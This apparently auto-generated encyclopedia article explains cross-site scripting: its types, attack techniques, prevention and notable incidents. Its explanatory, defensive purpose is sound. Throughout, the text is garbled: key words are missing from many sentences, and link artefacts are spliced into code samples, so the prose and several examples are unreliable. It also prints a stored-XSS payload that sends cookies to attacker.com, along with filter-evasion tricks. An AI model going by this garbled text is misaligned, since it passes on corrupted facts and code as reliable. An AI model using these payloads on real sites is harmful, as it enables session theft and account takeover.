Fact-checked by Grok 2 weeks ago

Cross-site scripting

Cross-site scripting (XSS) is a type of in applications that allows attackers to inject malicious scripts into pages viewed by other users, enabling the execution of unauthorized code within the victim's as if it were part of the legitimate site. XSS vulnerabilities arise when applications fail to properly sanitize or validate user-supplied input before including it in dynamically generated content, such as , , or other code. There are three primary types: stored XSS, where malicious scripts are persistently stored on the server (e.g., in a database) and served to users; reflected XSS, where the script is embedded in a malicious link or form input and reflected back immediately in the server's response; and , where the vulnerability occurs in code that manipulates the without server involvement. The impacts of XSS can be severe, including the theft of sensitive information such as session cookies, login credentials, or ; to impersonate users; ; or redirection to sites, potentially affecting millions of users if exploited on popular sites. To prevent XSS, developers should implement output encoding to escape special characters in user input when rendering it in web pages, validate and sanitize inputs rigorously, use secure frameworks that automatically handle escaping, and deploy (CSP) headers to restrict the sources of scripts and other resources.

Introduction

Definition and Overview

Cross-site scripting (XSS) is a in applications that enables attackers to inject malicious scripts, typically , into content delivered to other users' browsers. When executed, these scripts run within the context of the trusted website, allowing the attacker to impersonate the user, steal sensitive data like or session tokens, or manipulate the page's content and behavior. This occurs because the injected code inherits the website's privileges, exploiting the trust users place in the site's domain. The core mechanism of XSS involves an attacker supplying malicious input through vectors such as web forms, URL parameters, or comment fields, which the application then processes and returns without adequate or output encoding. For instance, if user input is directly embedded into without escaping, the browser interprets the injected code as legitimate script. This execution bypasses the browser's , which normally restricts scripts from accessing resources outside their origin, thereby allowing cross-site interactions that would otherwise be blocked. A basic example payload, such as <script>alert('XSS')</script>, illustrates how unencoded input can trigger an alert dialog when reflected back to the victim. In contrast to server-side injection flaws like , which manipulate backend database queries to extract or alter data, XSS targets the client-side rendering and execution environment in the victim's , focusing on dynamic content manipulation rather than direct access. XSS continues to be a leading web security threat, incorporated into the Top 10's Injection category due to its high incidence and impact. XSS remains a prevalent vulnerability in web applications.

Historical Development

The vulnerability now known as cross-site scripting (XSS) originated from issues with script inclusion in web applications during the late , where untrusted input could lead to the execution of malicious code in users' browsers. It was first formally documented in early 2000 by security engineers, who identified patterns of injected scripts crossing site boundaries in (IIS). This discovery was highlighted in the CERT Coordination Center's Advisory CA-2000-02, published on February 3, 2000, which described the issue as "cross-site scripting" due to code from one source being injected into pages from another. Initially termed "cross-site scripting" or abbreviated as CSS, the name caused confusion with Cascading Style Sheets, leading to the adoption of XSS as the standard acronym around to distinguish it clearly in security discussions. The Open Web Application Security Project () played a pivotal role in formalizing its recognition by including "Cross-Site Scripting (XSS) Flaws" as A4 in its inaugural Top 10 list released in 2003, emphasizing its prevalence among web vulnerabilities. Key publications further refined the understanding of XSS in the mid-2000s. In 2005, security researcher Amit Klein published "DOM Based Cross Site Scripting or XSS of the Third Kind," introducing DOM-based XSS as a distinct category alongside reflected and stored variants, highlighting manipulation risks. This work influenced the establishment of CWE-79, "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')," by in its , first detailed around 2006 as a standardized identifier for the vulnerability class. By the mid-2010s, XSS attacks had evolved from basic proof-of-concept alerts to sophisticated exploits, such as and credential theft, leveraging advanced frameworks for greater impact. Despite mitigations, XSS remains persistent into 2025, driven by legacy codebases with unpatched libraries and emerging vectors in single-page applications (SPAs) that rely heavily on rendering without adequate . Standardization efforts in the 2010s advanced browser-level defenses against XSS. The (W3C) introduced (CSP) in its Level 1 specification in 2012, evolving through subsequent levels to restrict script execution and mitigate injection risks, while the WHATWG's HTML Living Standard incorporated features like sandbox attributes and strict content-type enforcement starting around the same period to enhance cross-origin protections.

Types of Cross-Site Scripting

Reflected XSS

Reflected cross-site scripting (XSS) is a non-persistent variant of XSS where an attacker injects malicious scripts into a web application's input fields, such as URL parameters or form data, which the server then immediately echoes back in its HTTP response without any storage on the server. This type of attack exploits the lack of input validation and output encoding, allowing the injected script to be rendered and executed by the victim's browser as part of the legitimate page content. The mechanics of reflected XSS rely on the direct reflection of untrusted user input into the dynamic content of a . For instance, in a search functionality, an attacker might craft a URL like http://[example.com](/page/Example.com)/search?q=<script>[alert](/page/Alert)([document](/page/Document).[cookie](/page/Cookie))</script>, where the query contains the . When the processes this request and incorporates the q value into the response without proper escaping—such as placing it inside a <div> tag like <div>Search results for: <script>[alert](/page/Alert)([document](/page/Document).[cookie](/page/Cookie))</script></div>—the interprets and executes the script during rendering. This immediate inclusion distinguishes reflected XSS from persistent forms, as the malicious code exists only in the transient response and does not persist in a database or other storage. Delivery of reflected XSS typically occurs through social engineering tactics that trick victims into interacting with maliciously crafted inputs. Common vectors include emails or messages containing deceptive links to legitimate-looking URLs with embedded payloads, error pages that reflect invalid inputs, and manipulated search result pages on vulnerable sites. For example, an attacker could distribute a link disguised as a news , such as http://news-site.com/article?id=123&title=<img src=x onerror=alert(1)>, prompting the victim to click it and trigger the execution. Unlike stored XSS, which can affect multiple users via persistent content, reflected attacks require individual targeting and user action to deliver the tainted response. The execution flow begins when the victim's sends the HTTP request containing the attacker's input to the vulnerable application. The , failing to sanitize or encode the input, embeds it directly into the response body, often within , JavaScript, or other executable contexts. Upon receiving the response, the parses and renders the page, executing the injected script in the security context of the originating domain, thereby granting access to sensitive data like or session . This process demands no server-side persistence but hinges on the victim's unwitting participation, making social engineering essential for successful exploitation. Detection of reflected XSS often involves observing whether user-supplied input is mirrored back unchanged or insufficiently sanitized in the server's output, a hallmark of vulnerable legacy applications using GET-based parameters for dynamic content generation. typically employs black-box techniques, such as submitting payloads like <script>alert(1)</script> or "><script>alert(1)</script> to input fields and checking if the response executes them, or using tools to scan for unencoded reflections in HTTP responses. Indicators include the presence of raw tags or in echoed content, particularly in error messages or query results, signaling inadequate output encoding. Key limitations of reflected XSS stem from its non-persistent nature, restricting impact to a single user per crafted request and requiring repeated delivery for broader reach. It affects only those who visit the malicious link, limiting scalability compared to stored variants, and is often mitigated by modern browsers' and content security policies, though attackers can attempt evasion through techniques like URL encoding (e.g., %3Cscript%3Ealert(1)%3C/script%3E) or HTML entity encoding to bypass basic filters.

Stored XSS

Stored XSS, also known as persistent XSS, occurs when an attacker injects malicious scripts into a server's data storage, such as a database, where the content is subsequently retrieved and included in web pages served to multiple users. This type of attack differs from non-persistent variants like reflected XSS, as the injected script remains stored indefinitely until removed. Common delivery vectors for stored XSS include areas of web applications that accept , such as comment sections in forums, blog posts, user profiles, or product review forms. For instance, an attacker might submit a like <script>document.location='http://attacker.com/steal?cookie='+document.[cookie](/page/Cookie)</script> in a forum comment, which the application stores without proper . The execution flow begins when the fetches the stored malicious input and embeds it directly into dynamically generated pages without encoding. Upon page load in a victim's , the script executes within the of the trusted , potentially stealing session , keystrokes, or other sensitive data. This persistence amplifies the risks, as the malicious script impacts every user who views the affected content, potentially enabling self-propagating attacks resembling computer . A notable example is the 2005 Samy worm on , which used stored XSS in user profiles to add the attacker as a friend and replicate itself, infecting over one million users in under 20 hours. Such attacks are harder to detect because the stored input appears legitimate to the . Historically, stored XSS was prevalent in early social platforms during the pre-2010s era, exploiting features like profile customizations and message boards to reach wide audiences. As of 2025, vulnerabilities persist in unpatched systems, particularly WordPress plugins, with multiple CVEs reported for stored XSS in plugins like WP Statistics and SureForms due to inadequate input validation.

DOM-based XSS

DOM-based cross-site scripting (DOM-based XSS) refers to a in which code processes untrusted data from sources within the browser environment, such as URL fragments or local storage, and inserts it into the (DOM) without proper sanitization, enabling the execution of arbitrary scripts. This type of XSS bypasses server-side processing entirely, as the malicious payload is executed solely through browser-side manipulations. Common delivery vectors for DOM-based XSS include URL hash parameters (e.g., the portion after the # symbol), postMessage events from other windows, and client-side data stores like localStorage or sessionStorage. For example, an attacker might craft a URL with a tainted fragment, such as http://example.com/page.html#<img src=x onerror=alert(1)>, which the application's then reads and processes. Other vectors involve data propagated from browser APIs like document.referrer or event handlers that handle user-controlled inputs without validation. The execution flow begins with a source that captures attacker-controlled data, which is then propagated through JavaScript variables or functions to a sink—a DOM-modifying method or function that interprets the data as code. Sinks commonly include document.write(), element.innerHTML, eval(), and setTimeout() with string arguments, where unescaped input is parsed as HTML or . Unlike server-based XSS variants, this process requires no HTTP request to the server, occurring dynamically in the browser's runtime environment. Key differences from reflected and stored XSS lie in its exclusive reliance on browser APIs, making it invisible to server-side logging and detection tools. DOM-based XSS is especially common in single-page applications (SPAs) built with frameworks like or , where dynamic DOM updates can inadvertently expose sinks to tainted data if is misconfigured. To test for DOM-based XSS, security professionals use tools like to intercept and manipulate client-side inputs, such as altering parameters or fragments to inject s. A representative example involves appending a to the hash, like http://example.com/page.html#<script>alert(document.domain)</script>, and verifying if a sink like innerHTML executes it without encoding. 's DOM Invader extension aids by injecting traceable canaries and tracing data flow to potential sinks in real-time.
javascript
// Vulnerable code example
if (location.hash) {
    document.getElementById('content').innerHTML = location.hash.substring(1);
}
// Attacker URL: http://example.com/page.html#<script>alert(1)</script>
This snippet demonstrates how location.hash serves as a source, propagating directly to the innerHTML sink, triggering script execution.

Specialized Variants

Self-XSS, or self cross-site scripting, occurs when a user inadvertently injects and executes malicious scripts on their own browser session, often through mechanisms like pasting code into the developer console or using bookmarklets. This variant typically poses low direct threat to the affected user but serves as a vector for social engineering attacks, where an attacker tricks the victim into executing the payload and then leverages it to target others, such as through phishing or credential theft. For instance, an attacker might convince a user to run a script via a fake support message, enabling session hijacking on shared devices. Mutated XSS (mXSS) arises from discrepancies in how browsers parse and interpret , allowing seemingly sanitized inputs to transform into executable scripts during processing. A common example involves payloads using HTML entities, such as &lt;script&gt;, which mutate to <script> when handled in attribute contexts due to decoding differences across parsers. This hybrid form often blurs server-side and DOM-based boundaries: the server may output content that appears safe after , but the client's rendering engine alters it into a vulnerable state, bypassing defenses. To address this, the Living Standard was updated on May 20, 2025, mandating the escaping of < and > characters in attribute values during , significantly reducing mXSS risks in modern applications. Other hybrid variants include universal XSS (UXSS), which targets core flaws or extensions to achieve cross-origin script execution, independent of specific vulnerabilities. These are rare but high-impact, as they can affect all sites in the ; for example, prototype pollution attacks manipulate object prototypes to inject properties that lead to XSS by altering global behaviors like functions. Such exploits have been demonstrated in browser extensions and environments, enabling widespread compromise. In 2025, specialized XSS variants like mXSS and UXSS show increasing prevalence in third-party libraries, where inconsistent parsing across dependencies amplifies risks, with about 70% of tested applications containing flaws in external code.

Attack Mechanisms and Impacts

Execution Techniques

Attackers craft XSS payloads by employing various encoding techniques to obfuscate malicious code, such as encoding to hide within data URIs or , making it harder for filters to detect standard patterns. Polyglot payloads, designed to execute across multiple contexts like , , and CSS, further enhance versatility; for instance, a single string like javascript:alert(1) can trigger in href attributes, event handlers, or script tags depending on the injection point. Event handlers such as onerror or onload are commonly integrated into payloads to execute code upon specific browser events, like an image load failure, as in <img src=x onerror=alert(1)>. Delivery of these payloads often involves social engineering tactics, including emails that lure victims to click links embedding reflected XSS vectors in parameters. Malware can embed payloads directly into compromised client-side files, while supply-chain attacks compromise third-party resources; a notable example is the 2024 Polyfill.io incident, where attackers injected malicious into the widely used library, affecting over 100,000 websites and enabling unauthorized redirects and . To trigger execution, attackers bypass input filters using case variations like <ScRiPt> to evade case-sensitive regex patterns, null characters (%00) to truncate filtered strings, or alternative tags such as <svg onload=alert(1)> that mimic benign elements but support execution. Post-exploitation tooling like the Browser Exploitation Framework () allows attackers to hook victim browsers via XSS, enabling actions such as session token theft through cookie access or keylogging via injected input event listeners. Payloads can chain with CSRF vulnerabilities to elevate privileges, where the XSS reads and submits CSRF tokens to forge authenticated requests on the victim's behalf. In modern browsers, evasion techniques exploit features like WebSockets for cross-site hijacking, where an attacker intercepts messages over unsecured connections to inject scripts, or Service Workers for persistent execution by hijacking registration via , allowing background script control even after page unload.

Consequences for Users and Systems

Cross-site scripting (XSS) attacks pose severe risks to individual users by enabling attackers to hijack sessions through the theft of or tokens, allowing unauthorized access to personal accounts. This can lead to account takeovers, where attackers impersonate users and perform actions on their behalf, such as transferring funds or altering profiles. Additionally, attackers often deploy elements, like fake login forms, to capture credentials directly from unsuspecting users, exacerbating . Page defacement, where malicious content alters visible elements such as injecting offensive material or misleading information, further erodes user privacy and experience. At the system level, XSS facilitates , where injected scripts transmit sensitive information—like user profiles or financial details—to attacker-controlled servers without detection. distribution occurs through drive-by downloads, automatically executing harmful payloads that compromise devices or networks. within web applications is another critical effect, as attackers exploit stolen sessions to gain elevated access, potentially modifying backend data or deploying persistent threats. Organizations face substantial risks from XSS, including when attackers deface sites or expose user data, leading to loss of consumer confidence. Financial losses arise from fraudulent transactions enabled by hijacked accounts or stock price fluctuations following publicized breaches. Compliance violations, such as breaches of GDPR or PCI-DSS, can result in hefty fines for failing to protect user data adequately. In broader ecosystems, XSS worms propagate rapidly through social networks by self-replicating via user interactions, infecting thousands of profiles and amplifying reach across connected users. Supply-chain compromises, where vulnerable third-party scripts are exploited, extend these attacks to interdependent services, magnifying impacts on multiple organizations. Recent data underscores the scale: Microsoft's Security Response Center triaged nearly 1,000 XSS cases since January 2024, representing 15% of important or critical vulnerabilities handled from July 2024 to July 2025, with over $912,000 in bounties awarded to mitigate them. Over the long term, repeated XSS incidents erode trust in web platforms, particularly in and , where users hesitate to engage due to fears of data exposure, resulting in sustained declines and erosion.

Prevention and Mitigation

Server-Side Protections

Server-side protections against cross-site scripting (XSS) primarily focus on validating and sanitizing user inputs at the point of entry, encoding outputs in context-specific ways to neutralize potential scripts, and ensuring safe data storage to prevent persistent injection. These measures form the first line of defense by addressing vulnerabilities during server processing, complementing techniques in a layered approach. Input validation on the involves scrutinizing all untrusted before it is processed, using whitelisting to accept only expected formats and rejecting anomalies that could introduce scripts. For instance, when validating addresses, a like ^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$ ensures only permitted characters are allowed, blocking tags such as <script>. dangerous patterns, like <script> or javascript:, provides a secondary check but is less reliable due to evasion techniques, so it should complement whitelisting. normalizes inputs by decoding multiple encodings (e.g., converting %3C back to < before validation) to detect and block obfuscated payloads. These practices must occur server-side to avoid bypass via disabled JavaScript. Output encoding transforms untrusted data into safe representations based on the insertion context, preventing browsers from interpreting it as executable code. In HTML content, characters like < are escaped as &lt;, > as &gt;, and & as &amp; to avoid tag formation. For , additional escaping applies, such as quoting values and encoding quotes inside them (e.g., " becomes &quot;). contexts require hexadecimal escaping, like < as \x3c, while URLs use percent-encoding, such as < as %3C. Built-in functions like PHP's htmlspecialchars() handle basic HTML escaping, but libraries such as OWASP ESAPI provide comprehensive contextual encoders for multiple languages and scenarios. Sanitization tools further enhance protection by parsing and stripping unsafe elements from HTML inputs while preserving legitimate content. HTML Purifier, a PHP library, uses a whitelist of allowed tags and attributes to filter user-generated HTML, removing or neutralizing potential XSS vectors like malicious scripts or event handlers. For example, it converts <script>alert('XSS')</script> to without execution, ensuring standards compliance. This approach is particularly useful for rich text inputs in systems. For database handling in stored XSS scenarios, prepared statements parameterize queries to safely store user data without interpreting it as code, preventing injection during insertion (though they primarily mitigate , they support XSS prevention by isolating data). Content-aware storage, such as rendering Markdown inputs server-side before persistence, avoids storing raw executable HTML. Upon retrieval, data must still undergo output encoding to block execution during display. As of 2025, server-side protections increasingly integrate -powered scanners for dynamic validation in architectures, where tools like DAST or automatically detect and flag XSS patterns in real-time inputs and code flows during pipelines. These scanners analyze traffic and code for anomalies, such as unescaped outputs, providing proactive remediation in distributed environments.

Client-Side Protections

Client-side protections against cross-site scripting (XSS) focus on and mechanisms that detect, neutralize, or block malicious script execution after content delivery. These defenses operate at the runtime level within the user's , emphasizing safe coding practices in and leveraging built-in behaviors to prevent injected code from executing. While not a substitute for server-side validation, which serves as a complementary layer by sanitizing inputs before , client-side measures enhance resilience against DOM-based and other post-delivery exploits. A foundational approach involves using safe (DOM) APIs to avoid direct insertion of untrusted data into executable contexts. For instance, developers should prefer textContent or createTextNode over innerHTML to insert user input, as the former treats content as plain text without parsing HTML tags, thereby preventing script execution. Similarly, dangerous functions like eval(), setTimeout() with string arguments, or setInterval() must be avoided, as they can execute arbitrary code from untrusted sources; instead, use functional forms such as setTimeout(callback, delay). These practices, rooted in JavaScript's native APIs, reduce the risk of DOM-based XSS by ensuring untrusted data remains inert. In modern single-page applications (SPAs), frameworks automate much of this: employs auto-escaping in JSX, converting potentially malicious content to escaped strings before rendering to block injection attacks. Client-side input validation in provides an additional barrier, though it should not be relied upon exclusively due to its bypassability via browser developer tools or malicious scripts. Techniques include runtime type checks, such as verifying typeof variable === 'string' before DOM insertion, to ensure data matches expected formats and prevent unexpected object coercion that could lead to execution. Browser extensions like offer user-configurable script blocking, disabling execution on untrusted sites by default and whitelisting only verified domains, which effectively neutralizes XSS payloads dependent on script activation. Framework-specific best practices further strengthen these defenses: Angular's strict HTML parsing and built-in sanitization engine automatically strip or neutralize dangerous elements like <script> tags from bound data, while uses automatic HTML escaping via textContent for template bindings and recommends sanitization libraries for v-html directives to mitigate risks from raw HTML rendering. Despite these advancements, client-side protections face limitations in , particularly in SPAs integrating third-party widgets, where supply-chain vulnerabilities can introduce XSS vectors. For example, a DOM-based XSS flaw in the EqualWeb widget affected numerous sites, highlighting ongoing risks from unvetted external components that bypass local safeguards. To address such gaps, emphasis has shifted toward runtime monitoring tools that observe execution in real-time, detecting anomalous behaviors like unexpected DOM mutations or script injections during user sessions, as seen in solutions like TrustyMon for proactive violation reporting. These measures underscore the need for layered defenses, combining coding hygiene with vigilant oversight to counter evolving threats.

Advanced and Emerging Techniques

Content Security Policy (CSP) is an HTTP response header that allows web developers to control the resources a browser is permitted to load for a given page, thereby mitigating XSS attacks by restricting the execution of unauthorized scripts. For instance, the directive script-src 'self' limits script loading to the same origin, while CSP Level 2 introduces nonces—random, one-time tokens—and cryptographic hashes to permit only specific inline scripts, effectively blocking most inline JavaScript injections. CSP Level 3 introduces the report-to directive, providing more flexible and centralized reporting mechanisms for policy violations, enabling proactive monitoring of potential XSS attempts. Cookie security attributes provide a complementary layer of defense by limiting access to sensitive data. The HttpOnly flag prevents client-side scripts from reading session cookies, thwarting theft during XSS exploits, while the Secure flag ensures cookies are transmitted only over to avoid interception. Additionally, the SameSite attribute, with values like Strict or , restricts cookies from being sent in cross-site requests, reducing the risk of in reflected or stored XSS scenarios. In 2025, browser and specification updates have introduced targeted defenses against advanced XSS variants. The Living Standard was updated on May 20, 2025, to automatically escape < and > characters in attribute values during DOM serialization, addressing mutation XSS (mXSS) where attackers exploit parsing discrepancies to inject tags. Complementing this, the Trusted Types API, now widely supported in modern browsers, enforces type-safe handling of DOM sinks like innerHTML, requiring developers to create and use "trusted" objects for insertions, which prevents unvalidated strings from executing as code. Subresource Integrity (SRI) enhances protection for third-party scripts by requiring browsers to verify the integrity of loaded resources using cryptographic hashes specified in the integrity attribute, such as <script src="example.js" integrity="sha256-...">, thereby preventing tampering that could introduce XSS payloads. Meanwhile, machine learning-enhanced Web Application Firewalls (WAFs) employ to identify obfuscated or zero-day XSS attempts; for example, models like classifiers achieve over 99% accuracy in filtering malicious requests by analyzing patterns in payloads and traffic behavior. These techniques integrate seamlessly into contemporary development stacks, particularly single-page applications (SPAs). In frameworks like and Vue, CSP can be enforced via meta tags or server headers during build processes, with nonces dynamically generated to allow framework-specific inline code while blocking user inputs, reducing XSS risks in dynamic UIs. For AI-driven applications, such as embedded s, defenses like strict CSP and Trusted Types are critical to counter prompt injection leading to XSS; a 2025 incident involving Lenovo's AI chatbot highlighted how inadequate input enabled session theft, underscoring the need for layered policies in these environments.

Notable Incidents

Pre-2020 Cases

One of the earliest and most influential cross-site scripting (XSS) incidents occurred in October 2005 with the Samy worm on , a stored XSS attack that exploited a in user profile pages to automatically add the attacker's username as a friend and propagate the malicious script. Created by , the worm infected over one million users within 20 hours, marking the first major example of social propagation via XSS in a social networking platform. This rapid spread highlighted the dangers of unencoded in profiles, leading to implement stricter input validation and temporarily shut down its platform to contain the outbreak. In 2013, a cross-site scripting in allowed attackers to inject malicious scripts, potentially enabling unauthorized access to user sessions and email content through reflected or stored mechanisms. Reported by security researchers, the flaw persisted despite initial patches, affecting 's vast user base of hundreds of millions and underscoring risks in email interfaces where scripts could execute in victims' browsers. Although exact numbers were not publicly quantified, the 's potential reach was significant given 's scale, prompting enhanced filtering in subsequent updates. The 2018 British Airways breach involved a reflected XSS attack by the Magecart group, who injected malicious into the airline's website via a compromised third-party script on the booking page. This skimming operation captured payment details from approximately 380,000 customers between August 21 and September 5, 2018, using just 22 lines of code to exfiltrate data to an attacker-controlled server. The incident exposed weaknesses in for external integrations, resulting in a £20 million fine from the UK's under GDPR for failing to secure adequately. These pre-2020 cases revealed common patterns in XSS exploitation, particularly in like social profiles and third-party script integrations such as payment gateways, where insufficient output encoding allowed injection and execution. The and incidents demonstrated how stored and reflected variants could amplify through user interactions, while the attack illustrated risks in . Key lessons included the critical need for input and context-aware encoding, which drove widespread adoption of (CSP) in the 2010s to restrict script sources and mitigate inline injections following high-profile breaches. Financial repercussions, such as the penalty, emphasized regulatory pressures, influencing standards like guidelines for proactive defenses.

Post-2020 Cases

In 2020, a cross-site scripting (XSS) vulnerability in Web's desktop application, when paired with the version, enabled attackers to execute arbitrary code and read local files through a persistent XSS flaw. This DOM-based issue could be triggered via malicious links shared in chats, potentially leading to account takeover by stealing session tokens or credentials, affecting 's over 2 billion global users at the time. The was disclosed and patched rapidly by in early 2020, preventing widespread exploitation. The 2024 Polyfill.io compromise involved the acquisition of the popular polyfill service by a Chinese firm, which then injected malicious code into the library served via CDN to over 100,000 websites worldwide. This injection acted as an XSS-like attack by executing unauthorized scripts in users' browsers, redirecting traffic to sites for scams and injecting trackers that exfiltrated session data through spoofed ad networks like . High-profile sites including government portals and e-commerce platforms were impacted, highlighting risks in third-party script dependencies; the attack persisted for months until domain by major CDNs. In 2025, a stored XSS vulnerability in Wikimedia's Parsoid parser (CVE-2025-32699) arose from improper Unicode normalization in the Action API, allowing malicious scripts to be embedded in AbuseFilter log entries viewed during Wikipedia editing sessions. This flaw affected MediaWiki versions before 1.39.12 and Parsoid before 0.16.1, potentially enabling script execution for editors with elevated privileges, though its exploitability was rated low due to the need for specific Unicode payloads. The issue underscored ongoing risks in systems handling international text, prompting patches in MediaWiki 1.43.1 and Parsoid 0.20.2. Post-patch analysis in of the 2019 Fortnite XSS incident revealed how a flaw in a retired web page allowed persistent script injection, leading to credential theft for thousands of accounts via intercepted login forms. The exploited unpatched DOM on the legacy page, which remained accessible and enabled attackers to hijack sessions for over 200 million players; emphasized the dangers of neglecting decommissioned endpoints. By , XSS attacks have increasingly targeted modern architectures, with rising incidents in AI-driven chatbots and widgets that process inputs without adequate . Microsoft's Response Center (MSRC) reported mitigating over 970 XSS vulnerabilities since January 2024, many involving single-page applications (SPAs) and dynamic content injection in cloud environments. These trends reflect XSS's to evolving technologies, where untrusted data flows in interfaces amplify potential impacts.

References

  1. [1]
    Cross Site Scripting (XSS) - OWASP Foundation
    Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.Testing for reflected XSS · Prevention Cheat Sheet · Types · DOM Based XSS
  2. [2]
    Cross-site scripting (XSS) - Security - MDN Web Docs
    Oct 30, 2025 · A cross-site scripting (XSS) attack is one in which an attacker is able to get a target site to execute malicious code as though it was part of the website.Two Xss Examples · Defenses Against Xss · Output Encoding
  3. [3]
    Cross-site Scripting (XSS) - Glossary | CSRC
    Cross-Site Scripting is a security flaw found in some Web applications that enables unauthorized parties to cause client-side scripts to be executed by other ...
  4. [4]
    A7:2017-Cross-Site Scripting (XSS) - OWASP Foundation
    XSS is a prevalent issue, the second most common in OWASP Top 10, found in around two-thirds of applications. It has three forms: reflected, stored, and DOM.Missing: definition | Show results with:definition
  5. [5]
    Types of XSS - OWASP Foundation
    This article describes the many different types or categories of cross-site scripting (XSS) vulnerabilities and how they relate to each other.
  6. [6]
    What is cross-site scripting (XSS) and how to prevent it? - PortSwigger
    Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript to users. When the malicious code executes inside a ...
  7. [7]
    Cross Site Scripting Prevention - OWASP Cheat Sheet Series
    Prevent XSS by validating and escaping variables, using output encoding, HTML sanitization, and framework security protections. No single technique is enough.Missing: definition | Show results with:definition
  8. [8]
  9. [9]
    2024 Cybersecurity Statistics: The Ultimate List Of Stats, Data & Trends
    87% had medium security vulnerabilities. 30% of web applications are vulnerable to XSS. 81% of surveyors said they were increasingly worried about website ...
  10. [10]
    [PDF] Cross-Site Scripting Vulnerabilities - CGISecurity.com
    The essence of cross-site scripting is that an intruder causes a legitimate web server to send a page to a victim's browser that contains malicious script or ...
  11. [11]
    [PDF] A Web Developer's Guide to Cross-Site Scripting
    Jan 11, 2003 · This paper describes how cross-site scripting works and what makes an application vulnerable, along with suggestions for developers about tools ...
  12. [12]
    Two New Vulnerabilities added to the OWASP Top 10
    Apr 10, 2017 · Back in 2002 I wrote the first OWASP Top 10 list and it was published in 2003. ... A3 – Cross-Site Scripting (XSS). A4 – Insecure Direct Object ...
  13. [13]
    DOM Based Cross Site Scripting or XSS of the Third Kind
    This technical note discusses the third kind of XSS, dubbed “DOM Based XSS”. No claim is made to novelty in the attacks themselves, of course.Missing: types | Show results with:types
  14. [14]
    CWE-79: Improper Neutralization of Input During Web Page ...
    The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many ...
  15. [15]
    [PDF] twenty-two years since revealing cross-site - arXiv
    May 19, 2022 · XSS attacks are code injection based attacks; attackers can get benefits from vulnerabilities, also named XSS, discovered in trusted web ...
  16. [16]
    How Cross-Site Scripting (XSS) and CSRF Still Haunt the Web
    Oct 15, 2025 · Even in 2025, XSS and CSRF continue to appear in vulnerability assessments due to: Legacy codebases with outdated libraries. Modern ...
  17. [17]
    reflected XSS - Cross-site scripting - PortSwigger
    Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an ...
  18. [18]
    4.7.1 Testing for Reflected Cross Site Scripting - OWASP Foundation
    Reflected Cross-site Scripting (XSS) occur when an attacker injects browser executable code within a single HTTP response.
  19. [19]
    Testing for Stored Cross Site Scripting - OWASP Foundation
    This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.
  20. [20]
    Stored/Persistent Cross-Site Scripting
    The most famous example of stored cross-site scripting was the 2005 Samy worm, which was a simple prank of a MySpace user. Within 20 hours, the XSS worm reached ...
  21. [21]
    [PDF] A Study of Existing Cross-Site Scripting Detection and Prevention ...
    XSS attacks have targeted social networks such as MySpace, Orkut, LinkedIn, Twitter and Facebook, exposing hundreds of millions of users to potential PII theft ...
  22. [22]
    CVE-2025-30938 Detail - NVD
    Jun 6, 2025 · Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in broadly Broadly for WordPress allows Stored XSS.
  23. [23]
  24. [24]
    DOM based XSS Prevention Cheat Sheet
    This cheatsheet addresses DOM (Document Object Model) based XSS and is an extension (and assumes comprehension) of the XSS Prevention Cheatsheet.Missing: impacts | Show results with:impacts<|separator|>
  25. [25]
    DOM Based XSS | OWASP Foundation
    DOM Based XSS is an XSS attack where the payload is executed by modifying the DOM environment, causing client-side code to run unexpectedly. The page itself ...
  26. [26]
    DOM-based XSS - Cross-site scripting - PortSwigger
    DOM-based XSS vulnerabilities usually arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes it to a sink that ...
  27. [27]
    Testing for DOM-Based Cross Site Scripting - OWASP Foundation
    DOM-based cross-site scripting is the de-facto name for XSS bugs that are the result of active browser-side content on a page, typically JavaScript.
  28. [28]
    Testing for DOM XSS - PortSwigger
    Oct 30, 2025 · DOM Invader greatly simplifies this process by instantly showing you any sinks that your input flows into, along with the surrounding context.Injecting A Canary · Determining The Xss Context · Note
  29. [29]
    Testing for DOM XSS with DOM Invader - PortSwigger
    Steps · Use Burp's browser to visit your target website. · Right-click the browser window and select Inspect. · Select the DOM Invader tab and click Copy canary.
  30. [30]
  31. [31]
    Difference between SELF XSS and REFLECTED XSS
    Jan 29, 2017 · The self xss is basically social engineering where attacker convinces user to paste code into browser and execute it.
  32. [32]
    Weaponizing self-xss - NetSPI
    Feb 12, 2018 · So what is self-xss? self-xss is a form of cross-site scripting (xss) that appears to only function on the user's account itself and typically ...So What Is Self-Xss? · Executing On Privileged User... · Cross-Site Request Forgery...
  33. [33]
    mXSS: The Vulnerability Hiding in Your Code | Sonar
    May 27, 2024 · mXSS (mutation cross-site scripting) is a security vulnerability that arises from the way HTML is handled. Even if a web application has strong ...
  34. [34]
    Bypassing Your Defense: Mutation XSS | Beyond XSS - GitHub Pages
    One common attack against sanitizers is called mutation-based XSS, also known as mutation XSS or mXSS. Before understanding mXSS, let's take a look at how ...
  35. [35]
    Mutation XSS in Google Search - Acunetix
    Apr 10, 2019 · Mutation XSS vulnerabilities are caused by differences in how browsers interpret the HTML standard. Due to browser differences, it is very difficult to ...Missing: examples | Show results with:examples
  36. [36]
    How it helps protect against mutation XSS - Google Bug Hunters
    Jun 12, 2025 · As of May 20, 2025, the HTML specification has been updated to escape < and > in attributes, helping prevent mutation XSS (mXSS) vulnerabilities.
  37. [37]
    Universal Cross-site Scripting (UXSS) - Acunetix
    Mar 19, 2014 · UXSS is a type of attack that exploits client-side vulnerabilities in the browser or browser extensions in order to generate an XSS condition, and execute ...Missing: prototype pollution
  38. [38]
    What is prototype pollution? | Web Security Academy - PortSwigger
    Prototype pollution is a JavaScript vulnerability that enables an attacker to add arbitrary properties to global object prototypes.Missing: universal | Show results with:universal
  39. [39]
    [PDF] Universal Prototype Pollution Gadgets in JavaScript Runtimes
    In this work, we study universal gadgets in JavaScript runtime environments. Two such runtime environments are Node.js and Deno. Both are open source software ...Missing: uxss | Show results with:uxss
  40. [40]
    [PDF] 2025 State of Software Security - Veracode
    About 7 in 10 applications tested by Veracode contain flaws in third-party code. For those keeping score, that's 6% higher than the flaw prevalence for code ...Missing: variants generated
  41. [41]
